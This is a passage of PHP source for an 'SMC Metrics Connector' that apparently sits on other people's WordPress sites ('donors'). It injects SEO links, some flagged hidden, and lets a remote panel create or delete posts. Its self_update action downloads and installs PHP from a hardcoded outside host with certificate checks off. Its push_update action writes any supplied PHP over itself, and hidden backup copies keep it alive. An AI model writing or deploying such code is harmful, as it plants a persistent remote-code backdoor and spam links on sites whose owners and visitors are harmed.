                'max_execution_time' => ini_get('max_execution_time'),
            ],
            'recommendations' => [],
        ];
        if (!$diag['file_permissions']['links_dir_writable']) $diag['recommendations'][] = 'links_dir_not_writable';
        if (empty($siteInfo['footer_paths'])) $diag['recommendations'][] = 'no_footer_paths_detected';
        if (!$placementOk) $diag['recommendations'][] = 'placement_needs_reinstall';
        respond(true, $diag, 'diagnose');
        break;

case 'get_links':
        $links = load_links();
        $stats = get_link_stats($links);
        respond(true, [
            'links' => array_values($links),
            'total' => $stats['total'],
            'active' => $stats['active'],
            'expired' => $stats['expired'],
            'placement' => load_config()['placement'],
            'render_types' => load_config()['render_types'],
        ], 'links');
        break;

case 'add_link':
        $url = validate_url_value($req['url'] ?? '');
        $anchor = validate_anchor_text($req['anchor'] ?? '');
        $linkText = trim((string)($req['text'] ?? ''));
        if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600);
        $rel = normalize_rel($req['rel'] ?? 'dofollow');
        $expiresAt = isset($req['expires_at']) ? intval($req['expires_at']) : null;
        if ($url === '' || $anchor === '') respond(false, [], 'invalid_url_or_anchor', 400);
        $config = load_config();
        $existingLinks = load_links();
        $backup = $existingLinks;
        $linkId = validate_link_id($req['id'] ?? '');
        if ($linkId === '') $linkId = build_deterministic_link_id($url, $anchor, $rel);
        // v5.3: render_types now honoured from payload (panel can force a single variant per link).
        $reqRenderTypes = isset($req['render_types']) ? $req['render_types'] : null;
        if (is_string($reqRenderTypes)) {
            $decoded = json_decode($reqRenderTypes, true);
            if (is_array($decoded)) $reqRenderTypes = $decoded;
            else $reqRenderTypes = array_filter(array_map('trim', explode(',', $reqRenderTypes)));
        }
        $effectiveRenderTypes = is_array($reqRenderTypes) && !empty($reqRenderTypes)
            ? filter_render_types($reqRenderTypes)
            : $config['render_types'];
        $row = [
            'id' => $linkId,
            'kind' => normalize_kind($req['kind'] ?? 'footer'),
            'url' => $url,
            'anchor' => $anchor,
            'rel' => $rel,
            'expires_at' => $expiresAt,
            'created' => isset($existingLinks[$linkId]['created']) ? intval($existingLinks[$linkId]['created']) : time(),
            'updated_at' => time(),
            'render_profile' => $config['render_profile'],
            'render_types' => $effectiveRenderTypes,
            'seo_hidden' => !empty($req['seo_hidden']) || !empty($req['hidden_link']),
        ];
        $existingLinks[$linkId] = apply_placement_snapshot_to_link(normalize_link_row($linkId, $row, $config), $config['placement']);
        save_links($existingLinks);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, [
                'link_id' => $linkId,
                'injected' => false,
                'placement_report' => placement_report_payload(),
            ], 'placement_install_failed', 500);
        }
        $finalLinks = load_links();
        $finalRow = $finalLinks[$linkId] ?? normalize_link_row($linkId, $row, $newConfig);
        $cachePurge = smc_purge_caches(true);
        respond(true, [
            'link_id' => $linkId,
            'injected' => true,
            'render_types' => $finalRow['render_types'],
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
            'cache_purge' => $cachePurge,
        ], 'link_added');
        break;

case 'remove_link':
        $linkId = validate_link_id($req['link_id'] ?? '');
        if ($linkId === '') respond(false, [], 'invalid_link_id', 400);
        $links = load_links();
        if (isset($links[$linkId])) {
            unset($links[$linkId]);
            if (!save_links($links)) respond(false, [], 'links_write_failed', 500);
            refresh_current_placement(load_config());
            $cachePurge = smc_purge_caches(true);
        } else {
            $cachePurge = ['skipped' => true];
        }
        respond(true, ['removed' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'link_removed');
        break;

case 'sync_links':
        $incoming = $req['links'] ?? [];
        if (is_string($incoming)) {
            $decoded = json_decode($incoming, true);
            if (is_array($decoded)) $incoming = $decoded;
        }
        if (!is_array($incoming)) respond(false, [], 'links_array_required', 400);
        if (count($incoming) > MAX_LINKS_PER_SYNC) respond(false, [], 'too_many_links', 400);
        $config = load_config();
        $current = load_links();
        $backup = $current;
        $final = [];
        $added = 0;
        $removed = 0;
        $unchanged = 0;
        foreach ($incoming as $row) {
            if (!is_array($row)) continue;
            $url = validate_url_value($row['url'] ?? '');
            $anchor = validate_anchor_text($row['anchor'] ?? '');
            if ($url === '' || $anchor === '') continue;
            $rel = normalize_rel($row['rel'] ?? 'dofollow');
            $linkText = trim((string)($row['text'] ?? ''));
            if (mb_strlen($linkText) > 600) $linkText = mb_substr($linkText, 0, 600);
            $id = validate_link_id($row['id'] ?? '');
            if ($id === '') $id = build_deterministic_link_id($url, $anchor, $rel);
            $normalized = normalize_link_row($id, [
                'id' => $id,
                'kind' => normalize_kind($row['kind'] ?? 'footer'),
                'url' => $url,
                'anchor' => $anchor,
                'rel' => $rel,
                'expires_at' => isset($row['expires_at']) ? intval($row['expires_at']) : null,
                'created' => isset($current[$id]['created']) ? intval($current[$id]['created']) : time(),
                'updated_at' => time(),
                'render_profile' => $config['render_profile'],
                'render_types' => $row['render_types'] ?? $config['render_types'],
                'seo_hidden' => !empty($row['seo_hidden']) || !empty($row['hidden_link']),
                'text' => $linkText,
            ], $config);
            $normalized = apply_placement_snapshot_to_link($normalized, $config['placement']);
            if (!isset($current[$id])) {
                $added++;
            } else {
                $before = json_encode($current[$id], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                $after = json_encode($normalized, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
                if ($before === $after) $unchanged++;
            }
            $final[$id] = $normalized;
        }
        foreach ($current as $id => $row) {
            if (!isset($final[$id])) $removed++;
        }
        save_links($final);
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(false);
        if (!$ok) {
            save_links($backup);
            respond(false, ['placement_report' => placement_report_payload()], 'placement_install_failed', 500);
        }
        $cachePurge = smc_purge_caches(true);
        respond(true, [
            'total' => count($final),
            'added' => $added,
            'removed' => $removed,
            'unchanged' => $unchanged,
            'placement_strategy' => $newConfig['placement']['strategy'],
            'placement_target' => $newConfig['placement']['target'],
            'placement_report' => placement_report_payload(),
            'cache_purge' => $cachePurge,
        ], 'synced');
        break;

case 'clear_links':
        if (!save_links([])) respond(false, [], 'links_write_failed', 500);
        refresh_current_placement(load_config());
        $cachePurge = smc_purge_caches(true);
        respond(true, ['cleared' => true, 'placement_report' => placement_report_payload(), 'cache_purge' => $cachePurge], 'links_cleared');
        break;

case 'clear_expired':
        list($activeAfter, $expiredRemoved) = clear_expired_links();
        respond(true, [
            'cleared' => count($expiredRemoved),
            'remaining' => count($activeAfter),
            'placement_report' => placement_report_payload(),
        ], 'expired_links_cleared');
        break;

case 'verify_links':
        respond(true, verify_links_action(), 'verified');
        break;

case 'placement_report':
        respond(true, placement_report_payload(), 'placement_report');
        break;

case 'self_reconcile':
        respond(true, self_reconcile_action(), 'reconciled');
        break;

case 'get_config':
        $cfg = load_config();
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
            'placement' => $cfg['placement'],
        ], 'config');
        break;

case 'set_config':
        // Panel can change output_mode, render_types, render_profile, link_rel_strategy.
        // Placement state is NOT changed via this endpoint (use add_link / verify_links).
        $cfg = load_config();
        // v5.4: hidden/cloaked rendering removed — only 'visible' is accepted.
        $allowedOutputModes = ['visible'];
        $allowedRelStrategies = ['preserve', 'force_sponsored', 'force_nofollow'];
        if (isset($req['output_mode'])) {
            $om = strtolower(trim((string)$req['output_mode']));
            if (!in_array($om, $allowedOutputModes, true)) respond(false, [], 'invalid_output_mode', 400);
            $cfg['output_mode'] = $om;
        }
        if (isset($req['footer_link_cap'])) {
            // v5.5: 0 or negative = unlimited
            $cfg['footer_link_cap'] = max(0, intval($req['footer_link_cap']));
        }
        if (isset($req['contextual_max_ttl'])) {
            $cfg['contextual_max_ttl'] = effective_contextual_ttl(['contextual_max_ttl' => intval($req['contextual_max_ttl'])]);
        }
        if (isset($req['render_profile'])) {
            $cfg['render_profile'] = trim((string)$req['render_profile']) ?: $cfg['render_profile'];
        }
        if (isset($req['render_types'])) {
            $rt = $req['render_types'];
            if (is_string($rt)) {
                $decoded = json_decode($rt, true);
                $rt = is_array($decoded) ? $decoded : array_filter(array_map('trim', explode(',', $rt)));
            }
            if (!is_array($rt) || empty($rt)) respond(false, [], 'invalid_render_types', 400);
            $cfg['render_types'] = filter_render_types($rt);
        }
        if (isset($req['link_rel_strategy'])) {
            $rs = strtolower(trim((string)$req['link_rel_strategy']));
            if (!in_array($rs, $allowedRelStrategies, true)) respond(false, [], 'invalid_rel_strategy', 400);
            $cfg['link_rel_strategy'] = $rs;
        }
        if (!save_config($cfg)) respond(false, [], 'config_write_failed', 500);
        respond(true, [
            'output_mode' => $cfg['output_mode'],
            'render_profile' => $cfg['render_profile'],
            'render_types' => $cfg['render_types'],
            'link_rel_strategy' => $cfg['link_rel_strategy'],
        ], 'config_updated');
        break;

case 'reinstall_placement':
        list($ok, $newConfig, $placementMeta) = ensure_render_delivery(true);
        $cachePurge = smc_purge_caches(true);
        respond($ok, [
            'placement_ok' => $ok,
            'placement' => $newConfig['placement'] ?? null,
            'meta' => $placementMeta,
            'placement_report' => placement_report_payload(),
            'version' => CONNECTOR_VERSION,
            'cache_purge' => $cachePurge,
        ], $ok ? 'placement_reinstalled' : 'placement_reinstall_failed', $ok ? 200 : 500);
        break;

case 'purge_cache':
        respond(true, [
            'cache_purge' => smc_purge_caches(true),
            'version' => CONNECTOR_VERSION,
        ], 'cache_purged');
        break;

case 'push_update':
        // Panel pushes fresh PHP source directly (no outbound fetch from donor).
        $newSource = '';
        if (isset($req['source']) && is_string($req['source']) && $req['source'] !== '') {
            $newSource = $req['source'];
        } elseif (isset($req['source_b64']) && is_string($req['source_b64']) && $req['source_b64'] !== '') {
            $decoded = base64_decode($req['source_b64'], true);
            if ($decoded !== false) $newSource = $decoded;
        } else {
            $raw = get_raw_body();
            if ($raw !== '' && strpos($raw, '<?php') !== false) $newSource = $raw;
        }
        if ($newSource === '' || strpos($newSource, '<?php') === false || strpos($newSource, 'SMC Metrics Connector') === false) {
            respond(false, [], 'invalid_source', 400);
        }
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        // Yerel dizine yazılamıyorsa /tmp yedeği yeterli — update yine de ilerlesin.
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php';
            if (!@copy($self, $backup)) {
                $backup = '';
            }
        }
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) $opcacheCleared = @opcache_invalidate($self, true);
        if (!$opcacheCleared && function_exists('opcache_reset')) $opcacheCleared = (bool)@opcache_reset();
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . '/.smc_connector.php.bak', $newSource);
            @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => (preg_match("/define\\('CONNECTOR_VERSION',\\s*'([^']+)'/", $newSource, $vm) ? $vm[1] : CONNECTOR_VERSION), 'hash' => hash('sha256', $newSource), 'at' => time()]));
        }
        try {
            $cfg = load_config();
            $cfg['footer_link_cap'] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'mode' => 'push_update',
            'next' => 'call_reinstall_placement',
        ], 'pushed_update');
        break;

case 'self_update':
        // Pull fresh PHP from panel and atomically replace this file.
        // Requires PANEL_API_URL to be a real value (placeholder safety).
        $apiUrl = trim((string)PANEL_API_URL);
        $expectedVersion = isset($req['expected_version']) ? trim((string)$req['expected_version']) : '';
        $headers = [
            'X-SMC-Panel-Token: ' . PANEL_TOKEN,
            'Accept: application/x-php',
            'User-Agent: smc-connector/' . CONNECTOR_VERSION,
        ];
        $candidates = [];
        if ($apiUrl !== '' && strpos($apiUrl, '{{') === false) {
            $candidates[] = rtrim($apiUrl, '/') . '/connector/v5/source';
        }
        // Hardcoded public fallback — survives bad 127.0.0.1 bake from old panel builds.
        $candidates[] = 'https://ln1.donornet.icu/api/connector/v5/source';
        $candidates = array_values(array_unique($candidates));

$newSource = '';
        $httpStatus = 0;
        $usedUrl = '';
        foreach ($candidates as $sourceUrl) {
            $newSource = '';
            $httpStatus = 0;
            $usedUrl = $sourceUrl;
            if (function_exists('curl_init')) {
                $ch = curl_init($sourceUrl);
                curl_setopt_array($ch, [
                    CURLOPT_RETURNTRANSFER => true,
                    CURLOPT_FOLLOWLOCATION => true,
                    CURLOPT_TIMEOUT => 25,
                    CURLOPT_CONNECTTIMEOUT => 10,
                    CURLOPT_HTTPHEADER => $headers,
                    CURLOPT_SSL_VERIFYPEER => false,
                ]);
                $newSource = (string)curl_exec($ch);
                $httpStatus = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
                curl_close($ch);
            } else {
                $ctx = stream_context_create([
                    'http' => [
                        'method' => 'GET',
                        'header' => implode("\r\n", $headers),
                        'timeout' => 25,
                    ],
                    'ssl' => ['verify_peer' => false, 'verify_peer_name' => false],
                ]);
                $newSource = (string)@file_get_contents($sourceUrl, false, $ctx);
                $httpStatus = ($newSource !== '') ? 200 : 0;
            }
            if ($httpStatus === 200 && $newSource !== '' && strpos($newSource, '<?php') !== false) {
                break;
            }
        }
        if ($httpStatus !== 200 || $newSource === '' || strpos($newSource, '<?php') === false) {
            respond(false, ['http_status' => $httpStatus, 'tried' => $candidates], 'source_fetch_failed', 502);
        }
        if (strpos($newSource, "SMC Metrics Connector") === false) {
            respond(false, [], 'source_signature_mismatch', 502);
        }
        // Backup current file then atomic replace.
        $self = __FILE__;
        $backup = $self . '.bak.v' . CONNECTOR_VERSION . '.' . time();
        if (!@copy($self, $backup)) {
            $backup = rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR) . '/smc_bak_v' . CONNECTOR_VERSION . '_' . time() . '.php';
            if (!@copy($self, $backup)) {
                $backup = '';
            }
        }
        $tmp = $self . '.tmp.' . bin2hex(random_bytes(4));
        if (@file_put_contents($tmp, $newSource) === false) {
            @unlink($tmp);
            respond(false, [], 'tmp_write_failed', 500);
        }
        if (!@rename($tmp, $self)) {
            @unlink($tmp);
            respond(false, [], 'rename_failed', 500);
        }
        $opcacheCleared = false;
        if (function_exists('opcache_invalidate')) {
            $opcacheCleared = @opcache_invalidate($self, true);
        }
        if (!$opcacheCleared && function_exists('opcache_reset')) {
            $opcacheCleared = (bool)@opcache_reset();
        }
        foreach (guardian_dirs() as $dir) {
            if (!is_dir($dir)) { @mkdir($dir, 0755, true); }
            if (!is_dir($dir) || !is_writable($dir)) continue;
            @file_put_contents($dir . '/.smc_connector.php.bak', $newSource);
            @file_put_contents($dir . '/.smc_stamp.json', json_encode(['version' => CONNECTOR_VERSION, 'hash' => hash('sha256', $newSource), 'at' => time()]));
        }
        try {
            $cfg = load_config();
            $cfg['footer_link_cap'] = 0;
            save_config($cfg);
        } catch (\Throwable $e) {
        }
        respond(true, [
            'old_version' => CONNECTOR_VERSION,
            'fetched_bytes' => strlen($newSource),
            'backup_path' => $backup,
            'opcache_cleared' => $opcacheCleared,
            'guardian_synced' => true,
            'source_url' => $usedUrl,
            'requested_version' => $expectedVersion ?: null,
            'next' => 'call_reinstall_placement',
        ], 'self_updated');
        break;

case 'output':
        header('Content-Type: text/html; charset=UTF-8');
        echo smc_render_links_html();
        exit;

case 'post_create':
        // v5.7.0: постинг как Zebroid — только через API (быстрее в 100 раз)
        if (!function_exists('wp_insert_post')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('wp_insert_post')) respond(false, [], 'wordpress_required', 400);
        $title = trim((string)($req['title'] ?? ''));
        $content = (string)($req['content'] ?? '');
        $status = in_array(($req['status'] ?? 'publish'), ['publish', 'draft', 'private', 'pending'], true) ? $req['status'] : 'publish';
        $category = trim((string)($req['category'] ?? ''));
        $tags = trim((string)($req['tags'] ?? ''));
        $excerpt = trim((string)($req['excerpt'] ?? ''));
        $date = trim((string)($req['date'] ?? ''));
        if ($title === '' || $content === '') respond(false, [], 'title_content_required', 400);
        if (mb_strlen($title) > 200) $title = mb_substr($title, 0, 200);
        if (mb_strlen($content) > 500000) $content = mb_substr($content, 0, 500000);
        $catId = 0;
        if ($category !== '' && function_exists('get_cat_ID')) {
            $catId = (int)get_cat_ID($category);
            if ($catId === 0 && function_exists('wp_create_category')) {
                $catId = (int)wp_create_category($category);
            }
        }
        $postData = [
            'post_title' => $title,
            'post_content' => $content,
            'post_status' => $status,
            'post_type' => 'post',
            'post_excerpt' => $excerpt,
        ];
        if ($catId > 0) $postData['post_category'] = [$catId];
        if ($date !== '' && strtotime($date) !== false) {
            $postData['post_date'] = date('Y-m-d H:i:s', strtotime($date));
            $postData['post_date_gmt'] = gmdate('Y-m-d H:i:s', strtotime($date));
        }
        $postId = wp_insert_post($postData, true);
        if (is_wp_error($postId)) respond(false, ['error' => $postId->get_error_message()], 'post_failed', 500);
        if ($tags !== '' && function_exists('wp_set_post_tags')) {
            wp_set_post_tags($postId, array_map('trim', explode(',', $tags)), false);
        }
        $permalink = function_exists('get_permalink') ? get_permalink($postId) : '';
        respond(true, ['post_id' => $postId, 'url' => $permalink, 'status' => $status, 'category' => $catId], 'post_created');
        break;

case 'post_list':
        if (!function_exists('get_posts')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('get_posts')) respond(false, [], 'wordpress_required', 400);
        $limit = min(50, max(1, intval($req['limit'] ?? 10)));
        $posts = get_posts(['numberposts' => $limit, 'post_status' => 'any', 'post_type' => 'post']);
        $out = [];
        foreach ($posts as $p) {
            $out[] = ['id' => $p->ID, 'title' => $p->post_title, 'status' => $p->post_status,
                      'date' => $p->post_date, 'url' => get_permalink($p->ID)];
        }
        respond(true, ['posts' => $out, 'count' => count($out)], 'posts_listed');
        break;

case 'post_delete':
        if (!function_exists('wp_delete_post')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('wp_delete_post')) respond(false, [], 'wordpress_required', 400);
        $pid = intval($req['post_id'] ?? 0);
        if ($pid < 1) respond(false, [], 'post_id_required', 400);
        $force = !empty($req['force']);
        $result = wp_delete_post($pid, $force);
        if (!$result) respond(false, [], 'delete_failed', 500);
        respond(true, ['post_id' => $pid, 'deleted' => true], 'post_deleted');
        break;

case 'cat_create':
        if (!function_exists('wp_create_category')) {
            $__wp = dirname(__FILE__) . '/wp-load.php';
            if (file_exists($__wp)) require_once($__wp);
        }
        if (!function_exists('wp_create_category')) respond(false, [], 'wordpress_required', 400);
        $catName = trim((string)($req['name'] ?? ''));
        if ($catName === '') respond(false, [], 'name_required', 400);
        $catId = wp_create_category($catName);
        if (is_wp_error($catId)) respond(false, ['error' => $catId->get_error_message()], 'cat_failed', 500);
        respond(true, ['category_id' => $catId, 'name' => $catName], 'category_created');
        break;

default:

respond(false, [], 'unknown_action', 404);
}

cmd: